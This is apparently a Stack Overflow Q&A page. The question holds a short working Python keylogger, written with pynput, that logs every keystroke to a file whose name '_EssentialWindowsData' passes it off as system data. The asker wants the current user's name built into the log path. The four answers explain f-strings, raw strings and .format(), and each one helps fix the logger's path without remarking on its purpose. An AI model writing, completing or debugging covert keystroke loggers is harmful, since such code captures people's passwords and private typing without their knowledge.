2
from pynput.keyboard import Key, Listener
import logging
import getpass

user = getpass.getuser()
logging.basicConfig(filename=("c:\Users\{user}\Documents\_EssentialWindowsData"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")  
 
def on_press(key):
    logging.info(str(key))
 
with Listener(on_press=on_press) as listener :
    listener.join()

My problem is with the 6th line of code in filename=("c:\Users\{user}\Documents\_EssentialWindowsData") I want to integrate the pc's user but don't know how to make it work.

w1ndnd
  • 45
  • 5

4 Answers4

3

Use the power of rf'' - a raw f-string:

>>> from getpass import getuser
>>> rf"c:\Users\{getuser()}\Documents\_EssentialWindowsData"
'c:\\Users\\rnag\\Documents\\_EssentialWindowsData'

The Power of Raw (Strings)

Assume we have a string embedded with \n newline and \t tab characters:

>>> print('\my\name\is\tom\nhanks')
\my
ame\is  om
hanks
>>> print(r'\my\name\is\tom\nhanks')
\my\name\is\tom\nhanks

The Power of F (Strings)

f-strings allow interpolation of variables directly in strings. They are very fast, even (slightly) better than plain string concatenation (+).

>>> first = 'Jon'
>>> last = 'Doe'
>>> age = 23
>>> 'my name is {first} {last}, and I am {age}'
'my name is {first} {last}, and I am {age}'
>>> f'my name is {first} {last}, and I am {age}'
'my name is Jon Doe, and I am 23'
>>> 'my name is ' + first + ' ' + last + ', and I am ' + str(age)
'my name is Jon Doe, and I am 23'
>>> 'I am ' + age + ' years old!'
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: must be str, not int
>>> f'I am {age} years old! f-strings RULE!!'
'I am 23 years old! f-strings RULE!!'
rv.kvetch
  • 9,940
  • 3
  • 24
  • 53
1

If you're using Python 3.6 or newer, f-strings will be your best option. By placing an f in front of your string literal, e.g. f"I'm an f-string {name}", you create an f-string that will substitute the variable(s) in curly braces into the f-string. For example, if there had been a name variable with the value Sue, then the f-string literal would become: "I'm an f-string Sue". Longer example:

# we'll use a constant for the example
user = "Sam"

# normal string
"c:\Users\{user}\Documents\_EssentialWindowsData"

# f-string (added `f` in front of string value)
f"c:\Users\{user}\Documents\_EssentialWindowsData"

print(f"c:\Users\{user}\Documents\_EssentialWindowsData")

output will be: "c:\Users\Sam\Documents\_EssentialWindowsData"

Jim Hibbard
  • 205
  • 1
  • 6
0

You can use string formatting to add the users variable into your string:

"c:\Users\{}\Documents\_EssentialWindowsData".format(user)
Marcelo Paco
  • 2,732
  • 4
  • 9
  • 26
-2

You can use f-strings in Python to achieve this by changing this part:

filename=(f"c:\Users\{user}\Documents\_EssentialWindowsData"
Muhammed Jaseem
  • 782
  • 6
  • 18